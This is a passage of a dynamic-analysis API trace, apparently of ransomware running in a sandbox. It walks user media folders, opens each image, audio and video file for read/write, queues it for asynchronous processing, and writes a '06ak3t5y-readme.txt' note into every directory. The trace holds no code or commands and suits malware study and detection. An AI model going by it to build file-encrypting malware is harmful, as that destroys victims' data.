[0111.379] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8e) returned 0x2078460 [0111.380] CreateIoCompletionPort (FileHandle=0x310, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.380] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4797540) returned 1 [0111.380] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded15af0, ftCreationTime.dwHighDateTime=0x1d75517, ftLastAccessTime.dwLowDateTime=0xf174ed70, ftLastAccessTime.dwHighDateTime=0x1d75bb1, ftLastWriteTime.dwLowDateTime=0xf174ed70, ftLastWriteTime.dwHighDateTime=0x1d75bb1, nFileSizeHigh=0x0, nFileSizeLow=0x15df4, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="zZYA2Sg.mp3", cAlternateFileName="")) returned 1 [0111.380] PathFindExtensionW (pszPath="zzya2sg.mp3") returned=".mp3" [0111.380] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x15f44) returned 0x44a0048 [0111.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\zZYA2Sg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\zzya2sg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x30c [0111.382] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7c) returned 0x367af08 [0111.383] CreateIoCompletionPort (FileHandle=0x30c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.383] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44a0048) returned 1 [0111.383] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded15af0, ftCreationTime.dwHighDateTime=0x1d75517, ftLastAccessTime.dwLowDateTime=0xf174ed70, ftLastAccessTime.dwHighDateTime=0x1d75bb1, ftLastWriteTime.dwLowDateTime=0xf174ed70, ftLastWriteTime.dwHighDateTime=0x1d75bb1, nFileSizeHigh=0x0, nFileSizeLow=0x15df4, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="zzya2sg.mp3", cAlternateFileName="")) returned 0 [0111.383] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068900) returned 1 [0111.383] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0111.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9afc40, ftCreationTime.dwHighDateTime=0x1d75247, ftLastAccessTime.dwLowDateTime=0x4042680, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4042680, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.383] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9afc40, ftCreationTime.dwHighDateTime=0x1d75247, ftLastAccessTime.dwLowDateTime=0x4042680, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4042680, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.384] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x403d860, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x403d860, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4044d90, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.384] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5751d70, ftCreationTime.dwHighDateTime=0x1d752cd, ftLastAccessTime.dwLowDateTime=0x9f7fac20, ftLastAccessTime.dwHighDateTime=0x1d75af9, ftLastWriteTime.dwLowDateTime=0x9f7fac20, ftLastWriteTime.dwHighDateTime=0x1d75af9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="7kj_kwW8UDpe5", cAlternateFileName="7KJ_KW~1")) returned 1 [0111.384] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401e0 [0111.384] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367af90 [0111.384] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa6) returned 0x36788a8 [0111.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.384] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36788a8) returned 1 [0111.384] WriteFile (in: hFile=0x308, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.385] CloseHandle (hObject=0x308) returned 1 [0111.385] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb45f0, ftCreationTime.dwHighDateTime=0x1d75b33, ftLastAccessTime.dwLowDateTime=0x41ee67c0, ftLastAccessTime.dwHighDateTime=0x1d75cb8, ftLastWriteTime.dwLowDateTime=0x41ee67c0, ftLastWriteTime.dwHighDateTime=0x1d75cb8, nFileSizeHigh=0x0, nFileSizeLow=0xb3b8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SdfXT.m4a", cAlternateFileName="")) returned 1 [0111.385] PathFindExtensionW (pszPath="sdfxt.m4a") returned=".m4a" [0111.385] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xb508) returned 0x3880590 [0111.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\SdfXT.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\sdfxt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x308 [0111.386] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x369f580 [0111.387] CreateIoCompletionPort (FileHandle=0x308, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.387] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3880590) returned 1 [0111.387] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb45f0, ftCreationTime.dwHighDateTime=0x1d75b33, ftLastAccessTime.dwLowDateTime=0x41ee67c0, ftLastAccessTime.dwHighDateTime=0x1d75cb8, ftLastWriteTime.dwLowDateTime=0x41ee67c0, ftLastWriteTime.dwHighDateTime=0x1d75cb8, nFileSizeHigh=0x0, nFileSizeLow=0xb3b8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sdfxt.m4a", cAlternateFileName="")) returned 0 [0111.387] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.387] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20866a8) returned 1 [0111.387] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0111.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4781030, ftCreationTime.dwHighDateTime=0x1d74ee5, ftLastAccessTime.dwLowDateTime=0x4062250, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4062250, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.387] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4781030, ftCreationTime.dwHighDateTime=0x1d74ee5, ftLastAccessTime.dwLowDateTime=0x4062250, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4062250, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.388] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c94830, ftCreationTime.dwHighDateTime=0x1d75af5, ftLastAccessTime.dwLowDateTime=0x4ecd4a40, ftLastAccessTime.dwHighDateTime=0x1d75ce2, ftLastWriteTime.dwLowDateTime=0x4ecd4a40, ftLastWriteTime.dwHighDateTime=0x1d75ce2, nFileSizeHigh=0x0, nFileSizeLow=0x13c5c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="-a8C ZzQY9ibDt.bmp", cAlternateFileName="-A8CZZ~1.BMP")) returned 1 [0111.388] PathFindExtensionW (pszPath="-a8c zzqy9ibdt.bmp") returned=".bmp" [0111.388] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13dac) returned 0x44b5f98 [0111.389] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\-a8C ZzQY9ibDt.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\-a8c zzqy9ibdt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x304 [0111.389] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367b018 [0111.390] CreateIoCompletionPort (FileHandle=0x304, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.390] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44b5f98) returned 1 [0111.390] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4062250, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x4062250, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4067070, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.390] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd725bf20, ftCreationTime.dwHighDateTime=0x1d75360, ftLastAccessTime.dwLowDateTime=0x6c914360, ftLastAccessTime.dwHighDateTime=0x1d75792, ftLastWriteTime.dwLowDateTime=0x6c914360, ftLastWriteTime.dwHighDateTime=0x1d75792, nFileSizeHigh=0x0, nFileSizeLow=0x12d06, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="2pIHl6dW1Tj.png", cAlternateFileName="2PIHL6~1.PNG")) returned 1 [0111.390] PathFindExtensionW (pszPath="2pihl6dw1tj.png") returned=".png" [0111.390] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x12e56) returned 0x44c9d50 [0111.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\2pIHl6dW1Tj.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\2pihl6dw1tj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x300 [0111.392] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0b80 [0111.393] CreateIoCompletionPort (FileHandle=0x300, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.393] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44c9d50) returned 1 [0111.393] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc70ce080, ftCreationTime.dwHighDateTime=0x1d75137, ftLastAccessTime.dwLowDateTime=0xe7174bc0, ftLastAccessTime.dwHighDateTime=0x1d7585f, ftLastWriteTime.dwLowDateTime=0xe7174bc0, ftLastWriteTime.dwHighDateTime=0x1d7585f, nFileSizeHigh=0x0, nFileSizeLow=0x11706, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="8kI9nfrKhl_-hQ6.gif", cAlternateFileName="8KI9NF~1.GIF")) returned 1 [0111.393] PathFindExtensionW (pszPath="8ki9nfrkhl_-hq6.gif") returned=".gif" [0111.393] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x11856) returned 0x44dcbb0 [0111.394] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\8kI9nfrKhl_-hQ6.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\8ki9nfrkhl_-hq6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2fc [0111.394] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367b0a0 [0111.395] CreateIoCompletionPort (FileHandle=0x2fc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.395] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44dcbb0) returned 1 [0111.395] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7987c40, ftCreationTime.dwHighDateTime=0x1d756f7, ftLastAccessTime.dwLowDateTime=0xacb9a170, ftLastAccessTime.dwHighDateTime=0x1d757b6, ftLastWriteTime.dwLowDateTime=0xacb9a170, ftLastWriteTime.dwHighDateTime=0x1d757b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="IILnAi1f", cAlternateFileName="")) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040080 [0111.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee440 [0111.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92) returned 0x207fca0 [0111.395] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.396] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fca0) returned 1 [0111.396] WriteFile (in: hFile=0x2f4, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.397] CloseHandle (hObject=0x2f4) returned 1 [0111.397] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2e8fe0, ftCreationTime.dwHighDateTime=0x1d75049, ftLastAccessTime.dwLowDateTime=0xe715c480, ftLastAccessTime.dwHighDateTime=0x1d75b25, ftLastWriteTime.dwLowDateTime=0xe715c480, ftLastWriteTime.dwHighDateTime=0x1d75b25, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Kq18r", cAlternateFileName="")) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0111.397] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068900 [0111.397] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x20784f8 [0111.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.398] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20784f8) returned 1 [0111.398] WriteFile (in: hFile=0x2f4, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.398] CloseHandle (hObject=0x2f4) returned 1 [0111.399] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40f5ae30, ftCreationTime.dwHighDateTime=0x1d75b6b, ftLastAccessTime.dwLowDateTime=0x102cae60, ftLastAccessTime.dwHighDateTime=0x1d75ca2, ftLastWriteTime.dwLowDateTime=0x102cae60, ftLastWriteTime.dwHighDateTime=0x1d75ca2, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="vuFOrfu.png", cAlternateFileName="")) returned 1 [0111.399] PathFindExtensionW (pszPath="vuforfu.png") returned=".png" [0111.399] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xb2a) returned 0x44ee410 [0111.399] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\vuFOrfu.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\vuforfu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2f4 [0111.399] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x70) returned 0x30ee2d8 [0111.400] CreateIoCompletionPort (FileHandle=0x2f4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.400] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44ee410) returned 1 [0111.400] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab6fb60, ftCreationTime.dwHighDateTime=0x1d752cd, ftLastAccessTime.dwLowDateTime=0x75e404f0, ftLastAccessTime.dwHighDateTime=0x1d75b09, ftLastWriteTime.dwLowDateTime=0x75e404f0, ftLastWriteTime.dwHighDateTime=0x1d75b09, nFileSizeHigh=0x0, nFileSizeLow=0xa781, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="_hY-b8CF6iv.png", cAlternateFileName="_HY-B8~1.PNG")) returned 1 [0111.400] PathFindExtensionW (pszPath="_hy-b8cf6iv.png") returned=".png" [0111.400] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xa8d1) returned 0x44eef48 [0111.401] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\_hY-b8CF6iv.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\_hy-b8cf6iv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2f8 [0111.401] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0b00 [0111.402] CreateIoCompletionPort (FileHandle=0x2f8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.402] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44eef48) returned 1 [0111.402] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab6fb60, ftCreationTime.dwHighDateTime=0x1d752cd, ftLastAccessTime.dwLowDateTime=0x75e404f0, ftLastAccessTime.dwHighDateTime=0x1d75b09, ftLastWriteTime.dwLowDateTime=0x75e404f0, ftLastWriteTime.dwHighDateTime=0x1d75b09, nFileSizeHigh=0x0, nFileSizeLow=0xa781, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="_hy-b8cf6iv.png", cAlternateFileName="_HY-B8~1.PNG")) returned 0 [0111.402] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.403] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20689e0) returned 1 [0111.403] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0111.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68b75e50, ftCreationTime.dwHighDateTime=0x1d75602, ftLastAccessTime.dwLowDateTime=0x4084530, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4084530, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.403] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68b75e50, ftCreationTime.dwHighDateTime=0x1d75602, ftLastAccessTime.dwLowDateTime=0x4084530, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4084530, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.403] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4084530, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x4084530, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4086c40, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.403] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e460c60, ftCreationTime.dwHighDateTime=0x1d75c5a, ftLastAccessTime.dwLowDateTime=0xeb409e00, ftLastAccessTime.dwHighDateTime=0x1d75cdc, ftLastWriteTime.dwLowDateTime=0xeb409e00, ftLastWriteTime.dwHighDateTime=0x1d75cdc, nFileSizeHigh=0x0, nFileSizeLow=0x11082, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="BCVRhXmdcBbj0.avi", cAlternateFileName="BCVRHX~1.AVI")) returned 1 [0111.403] PathFindExtensionW (pszPath="bcvrhxmdcbbj0.avi") returned=".avi" [0111.403] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x111d2) returned 0x44f9828 [0111.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\BCVRhXmdcBbj0.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\bcvrhxmdcbbj0.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x2a4 [0111.404] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x30a9c60 [0111.405] CreateIoCompletionPort (FileHandle=0x2a4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.405] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x44f9828) returned 1 [0111.405] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb759d5b0, ftCreationTime.dwHighDateTime=0x1d7544a, ftLastAccessTime.dwLowDateTime=0x119bc620, ftLastAccessTime.dwHighDateTime=0x1d7586d, ftLastWriteTime.dwLowDateTime=0x119bc620, ftLastWriteTime.dwHighDateTime=0x1d7586d, nFileSizeHigh=0x0, nFileSizeLow=0x994c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="d_wE.flv", cAlternateFileName="")) returned 1 [0111.405] 